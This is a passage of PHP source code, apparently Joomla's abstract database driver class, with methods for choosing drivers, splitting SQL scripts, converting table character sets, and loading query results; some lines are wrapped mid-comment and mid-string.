protected static $dbMinimum;
/**
* @var integer The depth of the current transaction.
* @since 3.1.4
*/
protected $transactionDepth = 0;
/**
* @var callable[] List of callables to call just before disconnecting
database
* @since CMS 3.1.2
*/
protected $disconnectHandlers = array();
/**
* Get a list of available database connectors. The list will only be
populated with connectors that both
* the class exists and the static test method returns true. This gives
us the ability to have a multitude
* of connector classes that are self-aware as to whether or not they are
able to be used on a given system.
*
* @return array An array of available database connectors.
*
* @since 1.7.0
*/
public static function getConnectors()
{
$connectors = array();
// Get an iterator and loop trough the driver classes.
$iterator = new DirectoryIterator(__DIR__ . '/driver');
/* @type $file DirectoryIterator */
foreach ($iterator as $file)
{
$fileName = $file->getFilename();
// Only load for php files.
if (!$file->isFile() || $file->getExtension() != 'php')
{
continue;
}
// Derive the class name from the type.
$class = str_ireplace('.php', '',
'JDatabaseDriver' . ucfirst(trim($fileName)));
// If the class doesn't exist we have nothing left to do but look
at the next type. We did our best.
if (!class_exists($class))
{
continue;
}
// Sweet! Our class exists, so now we just need to know if it passes
its test method.
if ($class::isSupported())
{
// Connector names should not have file extensions.
$connectors[] = str_ireplace('.php', '',
$fileName);
}
}
return $connectors;
}
/**
* Method to return a JDatabaseDriver instance based on the given options.
There are three global options and then
* the rest are specific to the database driver. The 'driver'
option defines which JDatabaseDriver class is
* used for the connection -- the default is 'mysqli'. The
'database' option determines which database is to
* be used for the connection. The 'select' option determines
whether the connector should automatically select
* the chosen database.
*
* Instances are unique to the given options and new objects are only
created when a unique options array is
* passed into the method. This ensures that we don't end up with
unnecessary database connection resources.
*
* @param array $options Parameters to be passed to the database
driver.
*
* @return JDatabaseDriver A database object.
*
* @since 1.7.0
* @throws RuntimeException
*/
public static function getInstance($options = array())
{
// Sanitize the database connector options.
$options['driver'] = (isset($options['driver'])) ?
preg_replace('/[^A-Z0-9_\.-]/i', '',
$options['driver']) : 'mysqli';
$options['database'] = (isset($options['database']))
? $options['database'] : null;
$options['select'] = (isset($options['select'])) ?
$options['select'] : true;
// If the selected driver is `mysql` and we are on PHP 7 or greater,
switch to the `mysqli` driver.
if ($options['driver'] === 'mysql' &&
PHP_MAJOR_VERSION >= 7)
{
// Check if we have support for the other MySQL drivers
$mysqliSupported = JDatabaseDriverMysqli::isSupported();
$pdoMysqlSupported = JDatabaseDriverPdomysql::isSupported();
// If neither is supported, then the user cannot use MySQL; throw an
exception
if (!$mysqliSupported && !$pdoMysqlSupported)
{
throw new JDatabaseExceptionUnsupported(
'The PHP `ext/mysql` extension is removed in PHP 7, cannot use
the `mysql` driver.'
. ' Also, this system does not support MySQLi or PDO MySQL.
Cannot instantiate database driver.'
);
}
// Prefer MySQLi as it is a closer replacement for the removed MySQL
driver, otherwise use the PDO driver
if ($mysqliSupported)
{
JLog::add(
'The PHP `ext/mysql` extension is removed in PHP 7, cannot use
the `mysql` driver. Trying `mysqli` instead.',
JLog::WARNING,
'deprecated'
);
$options['driver'] = 'mysqli';
}
else
{
JLog::add(
'The PHP `ext/mysql` extension is removed in PHP 7, cannot use
the `mysql` driver. Trying `pdomysql` instead.',
JLog::WARNING,
'deprecated'
);
$options['driver'] = 'pdomysql';
}
}
// Get the options signature for the database connector.
$signature = md5(serialize($options));
// If we already have a database connector instance for these options
then just use that.
if (empty(self::$instances[$signature]))
{
// Derive the class name from the driver.
$class = 'JDatabaseDriver' .
ucfirst(strtolower($options['driver']));
// If the class still doesn't exist we have nothing left to do but
throw an exception. We did our best.
if (!class_exists($class))
{
throw new JDatabaseExceptionUnsupported(sprintf('Unable to load
Database Driver: %s', $options['driver']));
}
// Create our new JDatabaseDriver connector based on the options given.
try
{
$instance = new $class($options);
}
catch (RuntimeException $e)
{
throw new JDatabaseExceptionConnecting(sprintf('Unable to connect
to the Database: %s', $e->getMessage()), $e->getCode(), $e);
}
// Set the new connector to the global instances based on signature.
self::$instances[$signature] = $instance;
}
return self::$instances[$signature];
}
/**
* Splits a string of multiple queries into an array of individual
queries.
* Single line or line end comments and multi line comments are stripped
off.
*
* @param string $sql Input SQL string with which to split into
individual queries.
*
* @return array The queries from the input string separated into an
array.
*
* @since 1.7.0
*/
public static function splitSql($sql)
{
$start = 0;
$open = false;
$comment = false;
$endString = '';
$end = strlen($sql);
$queries = array();
$query = '';
for ($i = 0; $i < $end; $i++)
{
$current = substr($sql, $i, 1);
$current2 = substr($sql, $i, 2);
$current3 = substr($sql, $i, 3);
$lenEndString = strlen($endString);
$testEnd = substr($sql, $i, $lenEndString);
if ($current == '"' || $current == "'" ||
$current2 == '--'
|| ($current2 == '/*' && $current3 != '/*!'
&& $current3 != '/*+')
|| ($current == '#' && $current3 != '#__')
|| ($comment && $testEnd == $endString))
{
// Check if quoted with previous backslash
$n = 2;
while (substr($sql, $i - $n + 1, 1) == '\\' && $n
< $i)
{
$n++;
}
// Not quoted
if ($n % 2 == 0)
{
if ($open)
{
if ($testEnd == $endString)
{
if ($comment)
{
$comment = false;
if ($lenEndString > 1)
{
$i += ($lenEndString - 1);
$current = substr($sql, $i, 1);
}
$start = $i + 1;
}
$open = false;
$endString = '';
}
}
else
{
$open = true;
if ($current2 == '--')
{
$endString = "\n";
$comment = true;
}
elseif ($current2 == '/*')
{
$endString = '*/';
$comment = true;
}
elseif ($current == '#')
{
$endString = "\n";
$comment = true;
}
else
{
$endString = $current;
}
if ($comment && $start < $i)
{
$query = $query . substr($sql, $start, ($i - $start));
}
}
}
}
if ($comment)
{
$start = $i + 1;
}
if (($current == ';' && !$open) || $i == $end - 1)
{
if ($start <= $i)
{
$query = $query . substr($sql, $start, ($i - $start + 1));
}
$query = trim($query);
if ($query)
{
if (($i == $end - 1) && ($current != ';'))
{
$query = $query . ';';
}
$queries[] = $query;
}
$query = '';
$start = $i + 1;
}
}
return $queries;
}
/**
* Magic method to provide method alias support for quote() and
quoteName().
*
* @param string $method The called method.
* @param array $args The array of arguments passed to the method.
*
* @return mixed The aliased method's return value or null.
*
* @since 1.7.0
*/
public function __call($method, $args)
{
if (empty($args))
{
return;
}
switch ($method)
{
case 'q':
return $this->quote($args[0], isset($args[1]) ? $args[1] : true);
break;
case 'qn':
return $this->quoteName($args[0], isset($args[1]) ? $args[1] :
null);
break;
}
}
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 1.7.0
*/
public function __construct($options)
{
// Initialise object variables.
$this->_database = (isset($options['database'])) ?
$options['database'] : '';
$this->tablePrefix = (isset($options['prefix'])) ?
$options['prefix'] : 'jos_';
$this->count = 0;
$this->errorNum = 0;
$this->log = array();
// Set class options.
$this->options = $options;
}
/**
* Alter database's character set, obtaining query string from
protected member.
*
* @param string $dbName The database name that will be altered
*
* @return string The query that alter the database query string
*
* @since 3.0.1
* @throws RuntimeException
*/
public function alterDbCharacterSet($dbName)
{
if (is_null($dbName))
{
throw new RuntimeException('Database name must not be null.');
}
$this->setQuery($this->getAlterDbCharacterSet($dbName));
return $this->execute();
}
/**
* Alter a table's character set, obtaining an array of queries to do
so from a protected method. The conversion is
* wrapped in a transaction, if supported by the database driver.
Otherwise the table will be locked before the
* conversion. This prevents data corruption.
*
* @param string $tableName The name of the table to alter
* @param boolean $rethrow True to rethrow database exceptions.
Default: false (exceptions are suppressed)
*
* @return boolean True if successful
*
* @since CMS 3.5.0
* @throws RuntimeException If the table name is empty
* @throws Exception Relayed from the database layer if a database error
occurs and $rethrow == true
*/
public function alterTableCharacterSet($tableName, $rethrow = false)
{
if (is_null($tableName))
{
throw new RuntimeException('Table name must not be null.');
}
$queries = $this->getAlterTableCharacterSet($tableName);
if (empty($queries))
{
return false;
}
$hasTransaction = true;
try
{
$this->transactionStart();
}
catch (Exception $e)
{
$hasTransaction = false;
$this->lockTable($tableName);
}
foreach ($queries as $query)
{
try
{
$this->setQuery($query)->execute();
}
catch (Exception $e)
{
if ($hasTransaction)
{
$this->transactionRollback();
}
else
{
$this->unlockTables();
}
if ($rethrow)
{
throw $e;
}
return false;
}
}
if ($hasTransaction)
{
try
{
$this->transactionCommit();
}
catch (Exception $e)
{
$this->transactionRollback();
if ($rethrow)
{
throw $e;
}
return false;
}
}
else
{
$this->unlockTables();
}
return true;
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
abstract public function connect();
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 1.7.0
*/
abstract public function connected();
/**
* Create a new database using information from $options object, obtaining
query string
* from protected member.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
* @throws RuntimeException
*/
public function createDatabase($options, $utf = true)
{
if (is_null($options))
{
throw new RuntimeException('$options object must not be
null.');
}
elseif (empty($options->db_name))
{
throw new RuntimeException('$options object must have db_name
set.');
}
elseif (empty($options->db_user))
{
throw new RuntimeException('$options object must have db_user
set.');
}
$this->setQuery($this->getCreateDatabaseQuery($options, $utf));
return $this->execute();
}
/**
* Destructor.
*
* @since 3.8.0
*/
public function __destruct()
{
$this->disconnect();
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
abstract public function disconnect();
/**
* Adds a function callable just before disconnecting the database.
Parameter of the callable is $this JDatabaseDriver
*
* @param callable $callable Function to call in disconnect() method
just before disconnecting from database
*
* @return void
*
* @since CMS 3.1.2
*/
public function addDisconnectHandler($callable)
{
$this->disconnectHandlers[] = $callable;
}
/**
* Drops a table from the database.
*
* @param string $table The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriver Returns this object to support chaining.
*
* @since 2.5.0
* @throws RuntimeException
*/
abstract public function dropTable($table, $ifExists = true);
/**
* Escapes a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 1.7.0
*/
abstract public function escape($text, $extra = false);
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 1.7.0
*/
abstract protected function fetchArray($cursor = null);
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 1.7.0
*/
abstract protected function fetchAssoc($cursor = null);
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 1.7.0
*/
abstract protected function fetchObject($cursor = null, $class =
'stdClass');
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 1.7.0
*/
abstract protected function freeResult($cursor = null);
/**
* Get the number of affected rows for the previous executed SQL
statement.
*
* @return integer The number of affected rows.
*
* @since 1.7.0
*/
abstract public function getAffectedRows();
/**
* Return the query string to alter the database character set.
*
* @param string $dbName The database name
*
* @return string The query that alter the database query string
*
* @since 3.0.1
*/
public function getAlterDbCharacterSet($dbName)
{
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
return 'ALTER DATABASE ' . $this->quoteName($dbName) .
' CHARACTER SET `' . $charset . '`';
}
/**
* Get the query strings to alter the character set and collation of a
table.
*
* @param string $tableName The name of the table
*
* @return string[] The queries required to alter the table's
character set and collation
*
* @since CMS 3.5.0
*/
public function getAlterTableCharacterSet($tableName)
{
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
$collation = $charset . '_unicode_ci';
$quotedTableName = $this->quoteName($tableName);
$queries = array();
$queries[] = "ALTER TABLE $quotedTableName CONVERT TO CHARACTER SET
$charset COLLATE $collation";
/**
* We also need to convert each text column, modifying their character
set and collation. This allows us to
* change, for example, a utf8_bin collated column to a utf8mb4_bin
collated column.
*/
$sql = "SHOW FULL COLUMNS FROM $quotedTableName";
$this->setQuery($sql);
$columns = $this->loadAssocList();
$columnMods = array();
if (is_array($columns))
{
foreach ($columns as $column)
{
// Make sure we are redefining only columns which do support a
collation
$col = (object) $column;
if (empty($col->Collation))
{
continue;
}
// Default new collation: utf8_unicode_ci or utf8mb4_unicode_ci
$newCollation = $charset . '_unicode_ci';
$collationParts = explode('_', $col->Collation);
/**
* If the collation is in the form charset_collationType_ci or
charset_collationType we have to change
* the charset but leave the collationType intact (e.g. utf8_bin must
become utf8mb4_bin, NOT
* utf8mb4_general_ci).
*/
if (count($collationParts) >= 2)
{
$ci = array_pop($collationParts);
$collationType = array_pop($collationParts);
$newCollation = $charset . '_' . $collationType .
'_' . $ci;
/**
* When the last part of the old collation is not _ci we have a
charset_collationType format,
* something like utf8_bin. Therefore the new collation only has *two*
parts.
*/
if ($ci != 'ci')
{
$newCollation = $charset . '_' . $ci;
}
}
// If the old and new collation is the same we don't have to
change the collation type
if (strtolower($newCollation) == strtolower($col->Collation))
{
continue;
}
$null = $col->Null == 'YES' ? 'NULL' : 'NOT
NULL';
$default = is_null($col->Default) ? '' : "DEFAULT
'" . $this->q($col->Default) . "'";
$columnMods[] = "MODIFY COLUMN `{$col->Field}` {$col->Type}
CHARACTER SET $charset COLLATE $newCollation $null $default";
}
}
if (count($columnMods))
{
$queries[] = "ALTER TABLE $quotedTableName " .
implode(',', $columnMods) .
" CHARACTER SET $charset COLLATE $collation";
}
return $queries;
}
/**
* Automatically downgrade a CREATE TABLE or ALTER TABLE query from
utf8mb4 (UTF-8 Multibyte) to plain utf8. Used
* when the server doesn't support UTF-8 Multibyte.
*
* @param string $query The query to convert
*
* @return string The converted query
*/
public function convertUtf8mb4QueryToUtf8($query)
{
if ($this->hasUTF8mb4Support())
{
return $query;
}
// If it's not an ALTER TABLE or CREATE TABLE command there's
nothing to convert
if (!preg_match('/^(ALTER|CREATE)\s+TABLE\s+/i', $query))
{
return $query;
}
// Don't do preg replacement if string does not exist
if (stripos($query, 'utf8mb4') === false)
{
return $query;
}
// Replace utf8mb4 with utf8 if not within single or double quotes or
name quotes
return
preg_replace('/[`"\'][^`"\']*[`"\'](*SKIP)(*FAIL)|utf8mb4/i',
'utf8', $query);
}
/**
* Return the query string to create new Database.
* Each database driver, other than MySQL, need to override this member to
return correct string.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
*/
protected function getCreateDatabaseQuery($options, $utf)
{
if ($utf)
{
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
$collation = $charset . '_unicode_ci';
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name) . ' CHARACTER SET `' .
$charset . '` COLLATE `' . $collation . '`';
}
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 1.7.0
*/
abstract public function getCollation();
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return '';
}
/**
* Method that provides access to the underlying database connection.
Useful for when you need to call a
* proprietary method such as postgresql's lo_* methods.
*
* @return resource The underlying database connection resource.
*
* @since 1.7.0
*/
public function getConnection()
{
return $this->connection;
}
/**
* Get the total number of SQL statements executed by the database driver.
*
* @return integer
*
* @since 1.7.0
*/
public function getCount()
{
return $this->count;
}
/**
* Gets the name of the database used by this connection.
*
* @return string
*
* @since 2.5.0
*/
protected function getDatabase()
{
return $this->_database;
}
/**
* Returns a PHP date() function compliant date format for the database
driver.
*
* @return string The format string.
*
* @since 1.7.0
*/
public function getDateFormat()
{
return 'Y-m-d H:i:s';
}
/**
* Get the database driver SQL statement log.
*
* @return array SQL statements executed by the database driver.
*
* @since 1.7.0
*/
public function getLog()
{
return $this->log;
}
/**
* Get the database driver SQL statement log.
*
* @return array SQL statements executed by the database driver.
*
* @since CMS 3.1.2
*/
public function getTimings()
{
return $this->timings;
}
/**
* Get the database driver SQL statement log.
*
* @return array SQL statements executed by the database driver.
*
* @since CMS 3.1.2
*/
public function getCallStacks()
{
return $this->callStacks;
}
/**
* Get the minimum supported database version.
*
* @return string The minimum version number for the database driver.
*
* @since 3.0.0
*/
public function getMinimum()
{
return static::$dbMinimum;
}
/**
* Get the null or zero representation of a timestamp for the database
driver.
*
* @return string Null or zero representation of a timestamp.
*
* @since 1.7.0
*/
public function getNullDate()
{
return $this->nullDate;
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 1.7.0
*/
abstract public function getNumRows($cursor = null);
/**
* Get the common table prefix for the database driver.
*
* @return string The common database table prefix.
*
* @since 1.7.0
*/
public function getPrefix()
{
return $this->tablePrefix;
}
/**
* Gets an exporter class object.
*
* @return JDatabaseExporter An exporter object.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getExporter()
{
// Derive the class name from the driver.
$class = 'JDatabaseExporter' . ucfirst($this->name);
// Make sure we have an exporter class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database Exporter not
found.');
}
$o = new $class;
$o->setDbo($this);
return $o;
}
/**
* Gets an importer class object.
*
* @return JDatabaseImporter An importer object.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getImporter()
{
// Derive the class name from the driver.
$class = 'JDatabaseImporter' . ucfirst($this->name);
// Make sure we have an importer class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database Importer not
found');
}
$o = new $class;
$o->setDbo($this);
return $o;
}
/**
* Get the name of the database driver. If $this->name is not set it
will try guessing the driver name from the
* class name.
*
* @return string
*
* @since CMS 3.5.0
*/
public function getName()
{
if (empty($this->name))
{
$className = get_class($this);
$className = str_replace('JDatabaseDriver', '',
$className);
$this->name = strtolower($className);
}
return $this->name;
}
/**
* Get the server family type, e.g. mysql, postgresql, oracle, sqlite,
mssql. If $this->serverType is not set it
* will attempt guessing the server family type from the driver name. If
this is not possible the driver name will
* be returned instead.
*
* @return string
*
* @since CMS 3.5.0
*/
public function getServerType()
{
if (empty($this->serverType))
{
$name = $this->getName();
if (stristr($name, 'mysql') !== false)
{
$this->serverType = 'mysql';
}
elseif (stristr($name, 'postgre') !== false)
{
$this->serverType = 'postgresql';
}
elseif (stristr($name, 'pgsql') !== false)
{
$this->serverType = 'postgresql';
}
elseif (stristr($name, 'oracle') !== false)
{
$this->serverType = 'oracle';
}
elseif (stristr($name, 'sqlite') !== false)
{
$this->serverType = 'sqlite';
}
elseif (stristr($name, 'sqlsrv') !== false)
{
$this->serverType = 'mssql';
}
elseif (stristr($name, 'mssql') !== false)
{
$this->serverType = 'mssql';
}
else
{
$this->serverType = $name;
}
}
return $this->serverType;
}
/**
* Get the current query object or a new JDatabaseQuery object.
*
* @param boolean $new False to return the current query object, True
to return a new JDatabaseQuery object.
*
* @return JDatabaseQuery The current query object or a new object
extending the JDatabaseQuery class.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function getQuery($new = false)
{
if ($new)
{
// Derive the class name from the driver.
$class = 'JDatabaseQuery' . ucfirst($this->name);
// Make sure we have a query class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database Query Class not
found.');
}
return new $class($this);
}
else
{
return $this->sql;
}
}
/**
* Get a new iterator on the current query.
*
* @param string $column An option column to use as the iterator key.
* @param string $class The class of object that is returned.
*
* @return JDatabaseIterator A new database iterator.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getIterator($column = null, $class = 'stdClass')
{
// Derive the class name from the driver.
$iteratorClass = 'JDatabaseIterator' . ucfirst($this->name);
// Make sure we have an iterator class for this driver.
if (!class_exists($iteratorClass))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported(sprintf('class *%s* is not
defined', $iteratorClass));
}
// Return a new iterator
return new $iteratorClass($this->execute(), $column, $class);
}
/**
* Retrieves field information about the given tables.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True (default) to only return field types.
*
* @return array An array of fields by table.
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function getTableColumns($table, $typeOnly = true);
/**
* Shows the table CREATE statement that creates the given tables.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function getTableCreate($tables);
/**
* Retrieves keys information about the given table.
*
* @param string $table The name of the table.
*
* @return array An array of keys for the table.
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function getTableKeys($table);
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function getTableList();
/**
* Determine whether or not the database engine supports UTF-8 character
encoding.
*
* @return boolean True if the database engine supports UTF-8 character
encoding.
*
* @since 1.7.0
* @deprecated 4.0 - Use hasUTFSupport() instead
*/
public function getUTFSupport()
{
JLog::add('JDatabaseDriver::getUTFSupport() is deprecated. Use
JDatabaseDriver::hasUTFSupport() instead.', JLog::WARNING,
'deprecated');
return $this->hasUTFSupport();
}
/**
* Determine whether or not the database engine supports UTF-8 character
encoding.
*
* @return boolean True if the database engine supports UTF-8 character
encoding.
*
* @since 3.0.0
*/
public function hasUTFSupport()
{
return $this->utf;
}
/**
* Determine whether the database engine support the UTF-8 Multibyte
(utf8mb4) character encoding. This applies to
* MySQL databases.
*
* @return boolean True if the database engine supports UTF-8 Multibyte.
*
* @since CMS 3.5.0
*/
public function hasUTF8mb4Support()
{
return $this->utf8mb4;
}
/**
* Get the version of the database connector
*
* @return string The database connector version.
*
* @since 1.7.0
*/
abstract public function getVersion();
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return mixed The value of the auto-increment field from the last
inserted row.
*
* @since 1.7.0
*/
abstract public function insertid();
/**
* Inserts a row into a table based on an object's properties.
*
* @param string $table The name of the database table to insert
into.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param string $key The name of the primary key. If provided the
object property is updated.
*
* @return boolean True on success.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function insertObject($table, &$object, $key = null)
{
$fields = array();
$values = array();
// Iterate over the object variables to build the query fields and
values.
foreach (get_object_vars($object) as $k => $v)
{
// Only process non-null scalars.
if (is_array($v) or is_object($v) or $v === null)
{
continue;
}
// Ignore any internal fields.
if ($k[0] == '_')
{
continue;
}
// Prepare and sanitize the fields and values for the database query.
$fields[] = $this->quoteName($k);
$values[] = $this->quote($v);
}
// Create the base insert statement.
$query = $this->getQuery(true)
->insert($this->quoteName($table))
->columns($fields)
->values(implode(',', $values));
// Set the query and execute the insert.
$this->setQuery($query);
if (!$this->execute())
{
return false;
}
// Update the primary key if it exists.
$id = $this->insertid();
if ($key && $id && is_string($key))
{
$object->$key = $id;
}
return true;
}
/**
* Method to check whether the installed database version is supported by
the database driver
*
* @return boolean True if the database version is supported
*
* @since 3.0.0
*/
public function isMinimumVersion()
{
return version_compare($this->getVersion(), static::$dbMinimum) >=
0;
}
/**
* Method to get the first row of the result set from the database query
as an associative array
* of ['field_name' => 'row_value'].
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadAssoc()
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get the first row from the result set as an associative array.
if ($array = $this->fetchAssoc($cursor))
{
$ret = $array;
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get an array of the result set rows from the database query
where each row is an associative array
* of ['field_name' => 'row_value']. The array of
rows can optionally be keyed by a field name, but defaults to
* a sequential numeric array.
*
* NOTE: Choosing to key the result array by a non-unique field name can
result in unwanted
* behavior and should be avoided.
*
* @param string $key The name of a field on which to key the
result array.
* @param string $column An optional column name. Instead of the whole
row, only this column value will be in
* the result array.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadAssocList($key = null, $column = null)
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get all of the rows from the result set.
while ($row = $this->fetchAssoc($cursor))
{
$value = ($column) ? (isset($row[$column]) ? $row[$column] : $row) :
$row;
if ($key)
{
$array[$row[$key]] = $value;
}
else
{
$array[] = $value;
}
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Method to get an array of values from the
<var>$offset</var> field in each row of the result set from
* the database query.
*
* @param integer $offset The row offset to use to build the result
array.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadColumn($offset = 0)
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get all of the rows from the result set as arrays.
while ($row = $this->fetchArray($cursor))
{
$array[] = $row[$offset];
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Method to get the next row in the result set from the database query as
an object.
*
* @param string $class The class name to use for the returned row
object.
*
* @return mixed The result of the query as an array, false if there
are no more rows.
*
* @since 1.7.0
* @throws RuntimeException
* @deprecated 4.0 - Use getIterator() instead
*/
public function loadNextObject($class = 'stdClass')
{
JLog::add(__METHOD__ . '() is deprecated. Use
JDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
$this->connect();
static $cursor = null;
// Execute the query and get the result set cursor.
if (is_null($cursor))
{
if (!($cursor = $this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchObject($cursor, $class))
{
return $row;
}
// Free up system resources and return.
$this->freeResult($cursor);
$cursor = null;
return false;
}
/**
* Method to get the next row in the result set from the database query as
an array.
*
* @return mixed The result of the query as an array, false if there are
no more rows.
*
* @since 1.7.0
* @throws RuntimeException
* @deprecated 4.0 (CMS) Use JDatabaseDriver::getIterator() instead
*/
public function loadNextRow()
{
JLog::add(__METHOD__ . '() is deprecated. Use
JDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
$this->connect();
static $cursor = null;
// Execute the query and get the result set cursor.
if (is_null($cursor))
{
if (!($cursor = $this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchArray($cursor))
{
return $row;
}
// Free up system resources and return.
$this->freeResult($cursor);
$cursor = null;
return false;
}
/**
* Method to get the first row of the result set from the database query
as an object.
*
* @param string $class The class name to use for the returned row
object.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadObject($class = 'stdClass')
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get the first row from the result set as an object of type $class.
if ($object = $this->fetchObject($cursor, $class))
{
$ret = $object;
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get an array of the result set rows from the database query
where each row is an object. The array
* of objects can optionally be keyed by a field name, but defaults to a
sequential numeric array.
*
* NOTE: Choosing to key the result array by a non-unique field name can
result in unwanted
* behavior and should be avoided.
*
* @param string $key The name of a field on which to key the result
array.
* @param string $class The class name to use for the returned row
objects.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadObjectList($key = '', $class =
'stdClass')
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get all of the rows from the result set as objects of type $class.
while ($row = $this->fetchObject($cursor, $class))
{
if ($key)
{
$array[$row->$key] = $row;
}
else
{
$array[] = $row;
}
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Method to get the first field of the first row of the result set from
the database query.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadResult()
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get the first row from the result set as an array.
if ($row = $this->fetchArray($cursor))
{
$ret = $row[0];
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get the first row of the result set from the database query
as an array. Columns are indexed
* numerically so the first column in the result set would be accessible
via <var>$row[0]</var>, etc.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadRow()
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get the first row from the result set as an array.
if ($row = $this->fetchArray($cursor))
{
$ret = $row;
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get an array of the result set rows from the database query
where each row is an array. The array
* of objects can optionally be keyed by a field offset, but defaults to a
sequential numeric array.
*
* NOTE: Choosing to key the result array by a non-unique field can result
in unwanted
* behavior and should be avoided.
*
* @param integer $index The index of a field on which to key the
result array.
*
* @return mixed The return value or null if the query failed.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function loadRowList($index = null)
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return;
}
// Get all of the rows from the result set as arrays.
while ($row = $this->fetchArray($cursor))
{
if ($index !== null)
{
$array[$row[$index]] = $row;
}
else
{
$array[] = $row;
}
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Locks a table in the database.
*
* @param string $tableName The name of the table to unlock.
